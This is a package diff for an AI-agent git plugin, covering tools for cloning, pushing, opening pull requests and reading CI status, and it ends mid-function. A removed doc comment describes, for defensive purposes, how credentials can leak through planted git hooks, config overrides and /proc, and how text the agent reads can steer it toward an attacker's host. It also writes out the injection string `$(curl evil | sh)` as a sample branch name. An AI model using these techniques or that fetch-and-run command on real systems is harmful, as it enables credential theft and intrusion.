@dynamicagents/plugins 0.12.0 → 0.13.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (130) hide show
  1. package/README.md +58 -77
  2. package/dist/browser/index.d.ts +0 -2
  3. package/dist/browser/index.js +21 -27
  4. package/dist/claude-code/cards.d.ts +53 -0
  5. package/dist/claude-code/cards.js +272 -0
  6. package/dist/claude-code/config.d.ts +28 -63
  7. package/dist/claude-code/config.js +0 -11
  8. package/dist/claude-code/egress.d.ts +8 -1
  9. package/dist/claude-code/egress.js +42 -4
  10. package/dist/claude-code/events.d.ts +106 -9
  11. package/dist/claude-code/events.js +201 -56
  12. package/dist/claude-code/github.d.ts +39 -0
  13. package/dist/claude-code/github.js +82 -0
  14. package/dist/claude-code/index.d.ts +16 -90
  15. package/dist/claude-code/index.js +14 -276
  16. package/dist/claude-code/model.d.ts +152 -0
  17. package/dist/claude-code/model.js +342 -0
  18. package/dist/claude-code/run.d.ts +209 -112
  19. package/dist/claude-code/run.js +339 -138
  20. package/dist/claude-code/session.d.ts +131 -0
  21. package/dist/claude-code/session.js +285 -0
  22. package/dist/claude-code/spec.d.ts +46 -0
  23. package/dist/claude-code/spec.js +83 -0
  24. package/dist/claude-code/verified.d.ts +15 -0
  25. package/dist/claude-code/verified.js +15 -0
  26. package/dist/computer/context.d.ts +1 -5
  27. package/dist/computer/context.js +7 -10
  28. package/dist/computer/file-lock.js +5 -4
  29. package/dist/computer/gate.d.ts +4 -4
  30. package/dist/computer/gate.js +5 -5
  31. package/dist/computer/index.d.ts +40 -258
  32. package/dist/computer/index.js +71 -324
  33. package/dist/computer/paths.d.ts +36 -16
  34. package/dist/computer/paths.js +42 -29
  35. package/dist/computer/proxy.d.ts +45 -0
  36. package/dist/computer/proxy.js +234 -0
  37. package/dist/computer/render.d.ts +1 -40
  38. package/dist/computer/render.js +2 -68
  39. package/dist/computer/tools-exec.js +12 -13
  40. package/dist/computer/tools-file.d.ts +9 -1
  41. package/dist/computer/tools-file.js +22 -82
  42. package/dist/computer/{tools-find.d.ts → tools-grep.d.ts} +1 -1
  43. package/dist/computer/tools-grep.js +129 -0
  44. package/dist/repo/checkout.d.ts +4 -5
  45. package/dist/repo/checkout.js +31 -8
  46. package/dist/repo/context.d.ts +35 -9
  47. package/dist/repo/context.js +101 -49
  48. package/dist/repo/index.d.ts +73 -28
  49. package/dist/repo/index.js +112 -96
  50. package/dist/repo/tools-checks.d.ts +3 -0
  51. package/dist/repo/tools-checks.js +112 -0
  52. package/dist/repo/tools-clone.js +1 -1
  53. package/dist/repo/tools-pr.d.ts +14 -0
  54. package/dist/repo/{tools-forge.js → tools-pr.js} +53 -36
  55. package/dist/repo/tools-review.d.ts +9 -0
  56. package/dist/repo/tools-review.js +67 -47
  57. package/dist/repo/tools-worktree.js +144 -60
  58. package/dist/repo/tools-worktrees.d.ts +12 -0
  59. package/dist/repo/tools-worktrees.js +48 -0
  60. package/dist/repo/url.d.ts +2 -2
  61. package/dist/repo/url.js +7 -7
  62. package/dist/scratch/index.d.ts +4 -4
  63. package/dist/scratch/index.js +12 -11
  64. package/dist/{computer → workspace}/advisory.d.ts +4 -4
  65. package/dist/{computer → workspace}/advisory.js +2 -2
  66. package/dist/{computer/host → workspace}/ca-trust.d.ts +8 -1
  67. package/dist/{computer/host → workspace}/ca-trust.js +12 -3
  68. package/dist/{computer/host → workspace}/container-fault.d.ts +3 -3
  69. package/dist/{computer/host → workspace}/container-fault.js +23 -8
  70. package/dist/workspace/exec.d.ts +94 -0
  71. package/dist/workspace/exec.js +153 -0
  72. package/dist/workspace/format.d.ts +36 -0
  73. package/dist/workspace/format.js +57 -0
  74. package/dist/{computer/host → workspace}/git-host.d.ts +21 -4
  75. package/dist/{computer/host → workspace}/git-host.js +72 -2
  76. package/dist/{computer/host → workspace}/git-identity.d.ts +1 -1
  77. package/dist/{computer/host → workspace}/git-identity.js +1 -1
  78. package/dist/workspace/index.d.ts +43 -47
  79. package/dist/workspace/index.js +52 -112
  80. package/dist/{computer/host → workspace}/install-job.d.ts +4 -4
  81. package/dist/{computer/host → workspace}/install-job.js +276 -176
  82. package/dist/{computer → workspace}/install.d.ts +8 -8
  83. package/dist/{computer → workspace}/install.js +3 -3
  84. package/dist/{computer/host/workspace.d.ts → workspace/object.d.ts} +105 -27
  85. package/dist/{computer/host/workspace.js → workspace/object.js} +217 -48
  86. package/dist/workspace/open.d.ts +95 -0
  87. package/dist/workspace/open.js +63 -0
  88. package/dist/workspace/read.d.ts +16 -0
  89. package/dist/workspace/read.js +22 -0
  90. package/dist/{computer → workspace}/shell.d.ts +5 -5
  91. package/dist/{computer → workspace}/shell.js +6 -6
  92. package/dist/{computer/host → workspace}/wake.d.ts +1 -1
  93. package/package.json +16 -36
  94. package/dist/arc-agi/analysis.d.ts +0 -322
  95. package/dist/arc-agi/analysis.js +0 -802
  96. package/dist/arc-agi/client.d.ts +0 -82
  97. package/dist/arc-agi/client.js +0 -113
  98. package/dist/arc-agi/game-tools.d.ts +0 -24
  99. package/dist/arc-agi/game-tools.js +0 -26
  100. package/dist/arc-agi/index.d.ts +0 -40
  101. package/dist/arc-agi/index.js +0 -175
  102. package/dist/arc-agi/main-agent.d.ts +0 -24
  103. package/dist/arc-agi/main-agent.js +0 -62
  104. package/dist/arc-agi/recipe.d.ts +0 -48
  105. package/dist/arc-agi/recipe.js +0 -97
  106. package/dist/arc-agi/scorecard.d.ts +0 -118
  107. package/dist/arc-agi/scorecard.js +0 -163
  108. package/dist/arc-agi/soul.d.ts +0 -29
  109. package/dist/arc-agi/soul.js +0 -79
  110. package/dist/arc-agi/store.d.ts +0 -153
  111. package/dist/arc-agi/store.js +0 -215
  112. package/dist/arc-agi/tools.d.ts +0 -36
  113. package/dist/arc-agi/tools.js +0 -574
  114. package/dist/arc-agi/types.d.ts +0 -211
  115. package/dist/arc-agi/types.js +0 -19
  116. package/dist/claude-code/recipe.d.ts +0 -53
  117. package/dist/claude-code/recipe.js +0 -100
  118. package/dist/computer/read.d.ts +0 -133
  119. package/dist/computer/read.js +0 -200
  120. package/dist/computer/tools-find.js +0 -216
  121. package/dist/recall/index.d.ts +0 -105
  122. package/dist/recall/index.js +0 -181
  123. package/dist/repo/tools-forge.d.ts +0 -4
  124. package/dist/triage/index.d.ts +0 -360
  125. package/dist/triage/index.js +0 -311
  126. /package/dist/{computer/host → workspace}/container-deps.d.ts +0 -0
  127. /package/dist/{computer/host → workspace}/container-deps.js +0 -0
  128. /package/dist/{computer/host → workspace}/sync.d.ts +0 -0
  129. /package/dist/{computer/host → workspace}/sync.js +0 -0
  130. /package/dist/{computer/host → workspace}/wake.js +0 -0
@@ -1,9 +1,11 @@
1
1
  import { definePlugin } from "@dynamicagents/core";
2
2
  import { repoContext } from "./context.js";
3
+ import { checkTools } from "./tools-checks.js";
3
4
  import { cloneTools } from "./tools-clone.js";
4
- import { forgeTools } from "./tools-forge.js";
5
- import { reviewTools } from "./tools-review.js";
5
+ import { prActions, prTools } from "./tools-pr.js";
6
+ import { reviewActions, reviewTools } from "./tools-review.js";
6
7
  import { worktreeTools } from "./tools-worktree.js";
8
+ import { worktreesTools } from "./tools-worktrees.js";
7
9
  /**
8
10
  * The URL parsing, re-exported from the one entry point.
9
11
  *
@@ -13,107 +15,121 @@ import { worktreeTools } from "./tools-worktree.js";
13
15
  */
14
16
  export { parseRepo } from "./url.js";
15
17
  export { graphqlEndpoint, truncateOutput } from "./context.js";
16
- /**
17
- * `@dynamicagents/plugins/repo` — clone, commit, push, open a pull request.
18
- *
19
- * Layered over a container rather than owning one: it needs a shell with `git`
20
- * on it, and `@dynamicagents/plugins/computer` provides exactly that through
21
- * `computerExec`. Passing `exec` in rather than importing that plugin keeps the
22
- * two independent — a host with its own container can use this against that
23
- * instead, and the tests here need no container at all.
24
- *
25
- * ## The credential never enters the container
26
- *
27
- * The three operations that authenticate — clone, fetch, push — are not run
28
- * here. They go to {@link RepoConfig.git}, which the host implements on its own
29
- * side of the boundary. Everything else — `status`, `diff`, `add`, `commit`,
30
- * `checkout` — runs in the container through {@link RepoConfig.exec}, because
31
- * none of it needs to authenticate.
32
- *
33
- * That split is the one thing to preserve when changing this file: if an
34
- * operation talks to the forge it does not belong on `exec`, and if it does not,
35
- * it has no business anywhere else.
36
- *
37
- * It is absolute rather than careful because a narrower version does not hold.
38
- * Git executes whatever `.git/config` and `.git/hooks` name; both live in the
39
- * workspace filesystem, which outlives the container and which a co-installed
40
- * shell tool can write. So a model needs no credential on its *own* command — a
41
- * planted `pre-push` hook reads one out of the environment `repo_push` gives it.
42
- * Nor is that patchable key by key: a URL-specific `http.<url>.sslVerify=false`
43
- * in the repository's own config beats a `-c` override, because specificity
44
- * outranks precedence. And a credential that exists in a process environment for
45
- * the length of one command is readable at `/proc/<pid>/environ` by anything
46
- * else in the container.
47
- *
48
- * Two further rules, which are about the forge rather than the container:
49
- *
50
- * 1. **The forge is an allowlist, checked before anything runs.** A clone URL is
51
- * model input — a repository README, an issue body, or a page fetched by a
52
- * co-installed browser plugin is enough to choose it — and a credential
53
- * offered to a host of the model's choosing is the whole game. So the URL's
54
- * host must be on {@link RepoConfig.allowedHosts} before any operation
55
- * starts, and the allowlist travels with each call so the host can bind the
56
- * check to the moment the token would actually be handed over. `origin` is
57
- * re-derived and re-checked on every push rather than remembered, because the
58
- * checkout's `.git/config` is a file the container can rewrite.
59
- * 2. **The forge API is called from the Worker**, so the credential that can
60
- * write to a repository through the API never crosses the boundary either.
61
- * Every tool that reads or writes through it resolves the repository from the
62
- * checkout's own origin rather than from a parameter, so there is no way to
63
- * point the token at a repository nobody asked about.
64
- *
65
- * Model-authored values — URLs, branch names, commit messages — travel to the
66
- * container as environment variables rather than being interpolated into a
67
- * command, so a branch name of `$(curl evil | sh)` is inert text. That is about
68
- * shell injection, not credentials, and is independent of all of the above.
69
- *
70
- * A limit this plugin cannot close: the allowlist bounds the *host*, never the
71
- * repository. Whatever the token can reach, an agent talked into naming it can
72
- * reach. See the README — the token wants to be fine-grained.
73
- */
74
- /** This plugin's tool-family name, as a recipe's `toolFamilies` lists it. */
75
- export const REPO_FAMILY = "repo";
76
- export function buildRepoTools(config,
77
- /** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
78
- runtime) {
79
- return repoSurface(config, runtime).tools;
80
- }
81
- /** The repo tools, as one closure over a caller's config. */
82
- function repoSurface(config, runtime) {
83
- const ctx = repoContext(config, runtime);
84
- const tools = {
85
- ...cloneTools(ctx),
86
- ...worktreeTools(ctx),
87
- ...forgeTools(ctx),
88
- ...reviewTools(ctx)
89
- };
90
- return { tools };
91
- }
18
+ /** Every tool and action this plugin can offer, by the name the model sees. */
19
+ export const REPO_TOOL_NAMES = [
20
+ "repo_clone",
21
+ "repo_fetch",
22
+ "repo_status",
23
+ "repo_diff",
24
+ "repo_commit",
25
+ "repo_push",
26
+ "repo_open_pr",
27
+ "repo_issue_view",
28
+ "repo_pr_view",
29
+ "repo_pr_comment",
30
+ "repo_pr_review_status",
31
+ "repo_pr_threads",
32
+ "repo_pr_thread_reply",
33
+ "repo_pr_checks",
34
+ "repo_worktrees",
35
+ "repo_worktree"
36
+ ];
92
37
  /**
93
38
  * No tool here is held for a person's approval — see this plugin's README for
94
39
  * why, and for what a fork that wants one does instead.
95
40
  */
96
41
  export function repo(config) {
42
+ const selected = new Set(config.tools ?? REPO_TOOL_NAMES);
43
+ const has = (name) => selected.has(name);
44
+ const only = (all) => Object.fromEntries(Object.entries(all).filter(([name]) => selected.has(name)));
45
+ const views = [
46
+ has("repo_issue_view") &&
47
+ "`repo_issue_view` reads an issue or pull request with its comments",
48
+ has("repo_pr_view") &&
49
+ "`repo_pr_view` shows a pull request's state and the files it touches",
50
+ has("repo_pr_comment") && "`repo_pr_comment` leaves a comment"
51
+ ].filter((line) => typeof line === "string");
52
+ const worktrees = config.worktrees && [
53
+ has("repo_worktrees") &&
54
+ "`repo_worktrees` lists the worktrees your writing sub-agents committed in — each one's branch, whether a session is still in it, whether its commits are pushed — and releases one you will not keep.",
55
+ has("repo_worktree") &&
56
+ "`repo_worktree` points every repo tool and your file reads at the worktree holding a branch, and they stay there until you call it again — with no branch to come back to your own checkout."
57
+ ];
58
+ const lines = [
59
+ has("repo_clone") &&
60
+ "`repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you" +
61
+ (has("repo_diff")
62
+ ? " — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do."
63
+ : "."),
64
+ has("repo_fetch") &&
65
+ "`repo_fetch` brings a checkout's remote branches in without touching its tree" +
66
+ (has("repo_diff")
67
+ ? " — how you review a branch someone else pushed, as `origin/<branch>` with `repo_diff`."
68
+ : "."),
69
+ has("repo_status") &&
70
+ has("repo_diff") &&
71
+ "`repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
72
+ has("repo_status") &&
73
+ !has("repo_diff") &&
74
+ "`repo_status` shows what you have changed.",
75
+ !has("repo_status") &&
76
+ has("repo_diff") &&
77
+ "`repo_diff` shows what changed. On a large change call it with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
78
+ has("repo_commit") && "`repo_commit` stages everything and commits.",
79
+ has("repo_push") &&
80
+ "`repo_push` pushes a branch the checkout holds, or creates one at the current commit. It refuses the default branch and other protected names, and it refuses a branch that adds no commit the remote does not already have — that is not negotiable.",
81
+ has("repo_open_pr") &&
82
+ "`repo_open_pr` opens the pull request and returns its URL.",
83
+ views.length > 0 &&
84
+ `${views.join(", ")}. ${views.length > 1 ? "Each acts" : "It acts"} on the repository you have checked out — read the issue a task refers to before guessing what it asks for.`,
85
+ has("repo_pr_review_status") &&
86
+ "`repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
87
+ has("repo_pr_threads") &&
88
+ "`repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the " +
89
+ (has("repo_issue_view")
90
+ ? "timeline `repo_issue_view` shows."
91
+ : "pull request's timeline.") +
92
+ (has("repo_pr_thread_reply")
93
+ ? " `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened."
94
+ : ""),
95
+ has("repo_pr_thread_reply") &&
96
+ !has("repo_pr_threads") &&
97
+ "`repo_pr_thread_reply` answers a review thread and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
98
+ has("repo_pr_checks") &&
99
+ "`repo_pr_checks` says how a pull request's CI stands on its latest commit: what is still running, what failed and where to read why, and what passed.",
100
+ ...(worktrees || [])
101
+ ].filter((line) => typeof line === "string");
102
+ const rules = [
103
+ has("repo_push") && "Never push to the default branch.",
104
+ has("repo_open_pr") &&
105
+ "Finish by opening a pull request and reporting its URL."
106
+ ].filter((line) => typeof line === "string");
107
+ const context = [
108
+ "You can work with git repositories:",
109
+ ...lines.map((line) => `- ${line}`),
110
+ ...(rules.length > 0 ? [rules.join(" ")] : [])
111
+ ].join("\n");
97
112
  return definePlugin({
98
- key: "repo",
99
- mainAgentTools: () => buildRepoTools(config),
100
- // The runtime state goes through to `exec` untouched, so a delegated
101
- // subtask's git commands run in the same container its parent cloned into.
102
- toolFamilies: {
103
- [REPO_FAMILY]: (ctx) => ({ tools: buildRepoTools(config, ctx.runtime) })
113
+ name: "repo",
114
+ // `runtime` goes through to `exec` untouched and is read per command, so a
115
+ // sub-agent's git commands run in the same container its parent cloned
116
+ // into.
117
+ tools: (ctx) => {
118
+ const repoCtx = repoContext(config, ctx.runtime);
119
+ return only({
120
+ ...cloneTools(repoCtx),
121
+ ...worktreeTools(repoCtx),
122
+ ...prTools(repoCtx),
123
+ ...reviewTools(repoCtx),
124
+ ...checkTools(repoCtx),
125
+ ...(config.worktrees ? worktreesTools(config.worktrees) : {})
126
+ });
127
+ },
128
+ actions: (ctx) => {
129
+ const repoCtx = repoContext(config, ctx.runtime);
130
+ return only({ ...prActions(repoCtx), ...reviewActions(repoCtx) });
104
131
  },
105
- capability: [
106
- "You can work with git repositories:",
107
- "- `repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do.",
108
- "- `repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
109
- "- `repo_commit` stages everything and commits.",
110
- "- `repo_push` pushes a work branch. It refuses the default branch and other protected names, and it refuses a branch carrying no commits the default branch does not already have — that is not negotiable.",
111
- "- `repo_open_pr` opens the pull request and returns its URL.",
112
- "- `repo_issue_view` reads an issue or pull request with its comments, `repo_pr_view` shows a pull request's state and the files it touches, and `repo_pr_comment` leaves a comment. All three act on the repository you have checked out — read the issue a task refers to before guessing what it asks for.",
113
- "- `repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
114
- "- `repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the timeline `repo_issue_view` shows. `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
115
- "Never push to the default branch. Finish by opening a pull request and reporting its URL."
116
- ].join("\n"),
132
+ context: [{ provider: { get: async () => context } }],
117
133
  requires: { secrets: ["GITHUB_TOKEN"] }
118
134
  });
119
135
  }
@@ -0,0 +1,3 @@
1
+ import type { ToolSet } from "ai";
2
+ import type { RepoContext } from "./context.js";
3
+ export declare function checkTools(ctx: RepoContext): ToolSet;
@@ -0,0 +1,112 @@
1
+ import { tool } from "ai";
2
+ import { z } from "zod";
3
+ import { GITHUB_PAGE_SIZE } from "./context.js";
4
+ /** A check run's conclusion that is not a failure. */
5
+ const PASSING_CONCLUSIONS = new Set(["success", "neutral", "skipped"]);
6
+ /**
7
+ * Both of GitHub's CI APIs, because a repository may report through either:
8
+ * Actions and apps through check runs, older integrations through statuses.
9
+ */
10
+ function readChecks(runs, statuses) {
11
+ const fromRuns = runs.map((run) => {
12
+ const name = run.name ?? "(unnamed check)";
13
+ const url = run.html_url ?? run.details_url;
14
+ if (run.status !== "completed")
15
+ return { name, outcome: "pending", ...(url ? { url } : {}) };
16
+ const conclusion = run.conclusion ?? "unknown";
17
+ return PASSING_CONCLUSIONS.has(conclusion)
18
+ ? { name, outcome: "passed" }
19
+ : {
20
+ name,
21
+ outcome: "failed",
22
+ detail: conclusion,
23
+ ...(url ? { url } : {})
24
+ };
25
+ });
26
+ const fromStatuses = statuses.map((status) => {
27
+ const name = status.context ?? "(unnamed status)";
28
+ const url = status.target_url ?? undefined;
29
+ switch (status.state) {
30
+ case "success":
31
+ return { name, outcome: "passed" };
32
+ case "pending":
33
+ return { name, outcome: "pending", ...(url ? { url } : {}) };
34
+ default:
35
+ return {
36
+ name,
37
+ outcome: "failed",
38
+ detail: status.state ?? "unknown",
39
+ ...(url ? { url } : {})
40
+ };
41
+ }
42
+ });
43
+ return [...fromRuns, ...fromStatuses];
44
+ }
45
+ function listed(checks) {
46
+ return checks
47
+ .map((c) => `- ${c.name}${c.detail ? ` (${c.detail})` : ""}${c.url ? ` ${c.url}` : ""}`)
48
+ .join("\n");
49
+ }
50
+ export function checkTools(ctx) {
51
+ const { bounded, github, githubRepo } = ctx;
52
+ return {
53
+ repo_pr_checks: tool({
54
+ description: "Say how a pull request's checks stand on its latest commit — CI that is still running, failed or passed — in the repository you have checked out. Use it to know whether CI has finished and what failed, without waiting inside a session for it.",
55
+ inputSchema: z.object({
56
+ dir: z.string().describe("The checkout directory"),
57
+ number: z.number().int().positive().describe("Pull request number")
58
+ }),
59
+ execute: async ({ dir, number }) => {
60
+ const target = await githubRepo(dir);
61
+ if ("refusal" in target)
62
+ return target.refusal;
63
+ const { owner, repo } = target;
64
+ const pr = await github("repo_pr_checks", `/repos/${owner}/${repo}/pulls/${number}`);
65
+ if (!pr.ok)
66
+ return bounded(pr.message);
67
+ const sha = pr.data.head?.sha;
68
+ if (!sha)
69
+ return `#${number} is not a pull request in ${owner}/${repo}`;
70
+ const short = sha.slice(0, 7);
71
+ const runs = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/check-runs?per_page=${GITHUB_PAGE_SIZE}`);
72
+ if (!runs.ok)
73
+ return bounded(runs.message);
74
+ // The combined status holds the latest per context, so one page is
75
+ // every context there is.
76
+ const statuses = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/status?per_page=${GITHUB_PAGE_SIZE}`);
77
+ if (!statuses.ok)
78
+ return bounded(statuses.message);
79
+ const runData = runs.data;
80
+ const statusData = statuses.data;
81
+ const checks = readChecks(runData.check_runs ?? [], statusData.statuses ?? []);
82
+ if (checks.length === 0) {
83
+ return (`No checks have reported on #${number}'s latest commit (${short}). ` +
84
+ "CI that runs on pushes registers within a minute or so of one; " +
85
+ "after that, this repository runs none for this pull request.");
86
+ }
87
+ const failed = checks.filter((c) => c.outcome === "failed");
88
+ const pending = checks.filter((c) => c.outcome === "pending");
89
+ const passed = checks.length - failed.length - pending.length;
90
+ // Either API can run past a page, and what is past it may be the one
91
+ // failure, so an unread page is never "all passed".
92
+ const unread = [
93
+ [runData.total_count ?? 0, "check runs"],
94
+ [statusData.total_count ?? 0, "commit statuses"]
95
+ ]
96
+ .filter(([total]) => total > GITHUB_PAGE_SIZE)
97
+ .map(([total, what]) => `Only the first ${GITHUB_PAGE_SIZE} of ${total} ${what} were read.`);
98
+ const truncated = unread.length > 0;
99
+ return bounded([
100
+ `Checks on #${number} at ${short}: ${failed.length} failed, ` +
101
+ `${pending.length} still running, ${passed} passed.`,
102
+ ...(failed.length ? ["", "Failed:", listed(failed)] : []),
103
+ ...(pending.length ? ["", "Still running:", listed(pending)] : []),
104
+ ...(truncated ? ["", ...unread] : []),
105
+ ...(!failed.length && !pending.length && !truncated
106
+ ? ["", "Every check has finished and passed."]
107
+ : [])
108
+ ].join("\n"));
109
+ }
110
+ })
111
+ };
112
+ }
@@ -145,7 +145,7 @@ export function cloneTools(ctx) {
145
145
  // Identity has to exist before the first commit. Written through the
146
146
  // container, and deliberately: the commits it names are made there, by
147
147
  // `repo_commit`, with no credential in sight — only the three operations
148
- // that talk to the forge moved.
148
+ // that talk to GitHub moved.
149
149
  //
150
150
  // Why a refresh rewrites it, and what answers for a repository this
151
151
  // plugin never cloned, is on
@@ -0,0 +1,14 @@
1
+ import { type Action } from "@cloudflare/think";
2
+ import type { ToolSet } from "ai";
3
+ import type { RepoContext } from "./context.js";
4
+ /** GitHub's REST surface: pull requests, issues and their comments. */
5
+ export declare function prTools(ctx: RepoContext): ToolSet;
6
+ /**
7
+ * The GitHub writes a recovered turn must not repeat, as Think actions.
8
+ *
9
+ * Every failure is thrown rather than returned. Think settles what an action
10
+ * returns and replays it for the life of the key, so a refusal returned as a
11
+ * string would answer every retry in the task; a throw releases the key, and
12
+ * the retry runs.
13
+ */
14
+ export declare function prActions(ctx: RepoContext): Record<string, Action>;
@@ -1,9 +1,10 @@
1
+ import { action } from "@cloudflare/think";
1
2
  import { tool } from "ai";
2
3
  import { z } from "zod";
3
- import { FORGE_PAGE_SIZE } from "./context.js";
4
- /** The forge's REST surface: pull requests, issues and their comments. */
5
- export function forgeTools(ctx) {
6
- const { bounded, forge, forgeRepo } = ctx;
4
+ import { actionTask, GITHUB_ACTION_TIMEOUT_MS, GITHUB_PAGE_SIZE, sha256 } from "./context.js";
5
+ /** GitHub's REST surface: pull requests, issues and their comments. */
6
+ export function prTools(ctx) {
7
+ const { bounded, github, githubRepo } = ctx;
7
8
  return {
8
9
  repo_open_pr: tool({
9
10
  description: "Open a pull request for a pushed branch and return its URL. Do this once the branch is pushed and the tests pass.",
@@ -22,7 +23,7 @@ export function forgeTools(ctx) {
22
23
  // writes. A repository named at the call site is bounded only by the
23
24
  // host allowlist, so an agent talked into naming one could open a pull
24
25
  // request on anything the token can write to.
25
- const target = await forgeRepo(dir);
26
+ const target = await githubRepo(dir);
26
27
  if ("refusal" in target)
27
28
  return target.refusal;
28
29
  const { owner, repo } = target;
@@ -37,13 +38,13 @@ export function forgeTools(ctx) {
37
38
  : `${decodeURIComponent(owner)}:${head}`,
38
39
  base
39
40
  });
40
- const existing = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls?${filter}`);
41
+ const existing = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls?${filter}`);
41
42
  const open = existing.ok && Array.isArray(existing.data)
42
43
  ? existing.data[0]
43
44
  : undefined;
44
45
  if (open?.html_url)
45
46
  return `already open, nothing new was created: ${open.html_url}`;
46
- const opened = await forge("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
47
+ const opened = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
47
48
  if (!opened.ok)
48
49
  // A POST whose answer never arrived may still have been received, and
49
50
  // a blind retry is how one pull request becomes two.
@@ -62,18 +63,18 @@ export function forgeTools(ctx) {
62
63
  number: z.number().int().positive().describe("Issue or PR number")
63
64
  }),
64
65
  execute: async ({ dir, number }) => {
65
- const target = await forgeRepo(dir);
66
+ const target = await githubRepo(dir);
66
67
  if ("refusal" in target)
67
68
  return target.refusal;
68
69
  const { owner, repo } = target;
69
70
  // The issues endpoint, deliberately, even for a pull request: GitHub
70
71
  // models every PR as an issue, and this is the one that carries the
71
72
  // discussion. `repo_pr_view` is for the parts that are only a PR's.
72
- const issue = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
73
+ const issue = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
73
74
  if (!issue.ok)
74
75
  return bounded(issue.message);
75
76
  const data = issue.data;
76
- const comments = await forge("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${FORGE_PAGE_SIZE}`);
77
+ const comments = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${GITHUB_PAGE_SIZE}`);
77
78
  // A failure here is not a failure of the tool: the issue itself was
78
79
  // read, and half an answer beats none.
79
80
  const thread = (comments.ok && Array.isArray(comments.data) ? comments.data : []);
@@ -81,7 +82,7 @@ export function forgeTools(ctx) {
81
82
  // this thread is what the model reasons from: comments arrive oldest
82
83
  // first, so the ones it cannot see are the most recent — the review
83
84
  // feedback, on the pull request busy enough to have overflowed.
84
- const moreComments = thread.length >= FORGE_PAGE_SIZE;
85
+ const moreComments = thread.length >= GITHUB_PAGE_SIZE;
85
86
  return bounded([
86
87
  `#${number} ${data.title ?? "(no title)"} [${data.state ?? "?"}]` +
87
88
  (data.pull_request ? " (pull request)" : ""),
@@ -92,7 +93,7 @@ export function forgeTools(ctx) {
92
93
  ...(comments.ok ? [] : [`\n(comments could not be read)`]),
93
94
  ...(moreComments
94
95
  ? [
95
- `\n(showing the first ${FORGE_PAGE_SIZE} comments; the thread is ` +
96
+ `\n(showing the first ${GITHUB_PAGE_SIZE} comments; the thread is ` +
96
97
  `longer, and the newest are not among them)`
97
98
  ]
98
99
  : [])
@@ -106,17 +107,17 @@ export function forgeTools(ctx) {
106
107
  number: z.number().int().positive().describe("Pull request number")
107
108
  }),
108
109
  execute: async ({ dir, number }) => {
109
- const target = await forgeRepo(dir);
110
+ const target = await githubRepo(dir);
110
111
  if ("refusal" in target)
111
112
  return target.refusal;
112
113
  const { owner, repo } = target;
113
- const pr = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
114
+ const pr = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
114
115
  if (!pr.ok)
115
116
  return bounded(pr.message);
116
117
  const data = pr.data;
117
- const files = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${FORGE_PAGE_SIZE}`);
118
+ const files = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${GITHUB_PAGE_SIZE}`);
118
119
  const changed = (files.ok && Array.isArray(files.data) ? files.data : []);
119
- const moreFiles = changed.length >= FORGE_PAGE_SIZE;
120
+ const moreFiles = changed.length >= GITHUB_PAGE_SIZE;
120
121
  return bounded([
121
122
  `#${number} ${data.title ?? "(no title)"}`,
122
123
  `${data.merged ? "merged" : (data.state ?? "?")}` +
@@ -141,36 +142,52 @@ export function forgeTools(ctx) {
141
142
  : " (changed files could not be read)",
142
143
  ...(moreFiles
143
144
  ? [
144
- `\n(showing the first ${FORGE_PAGE_SIZE} files; this pull request ` +
145
+ `\n(showing the first ${GITHUB_PAGE_SIZE} files; this pull request ` +
145
146
  `touches more)`
146
147
  ]
147
148
  : [])
148
149
  ].join("\n"));
149
150
  }
150
- }),
151
- repo_pr_comment: tool({
152
- description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished.",
153
- inputSchema: z.object({
154
- dir: z.string().describe("The checkout directory"),
155
- number: z
156
- .number()
157
- .int()
158
- .positive()
159
- .describe("Pull request or issue number"),
160
- body: z.string().describe("The comment, as markdown")
161
- }),
151
+ })
152
+ };
153
+ }
154
+ /**
155
+ * The GitHub writes a recovered turn must not repeat, as Think actions.
156
+ *
157
+ * Every failure is thrown rather than returned. Think settles what an action
158
+ * returns and replays it for the life of the key, so a refusal returned as a
159
+ * string would answer every retry in the task; a throw releases the key, and
160
+ * the retry runs.
161
+ */
162
+ export function prActions(ctx) {
163
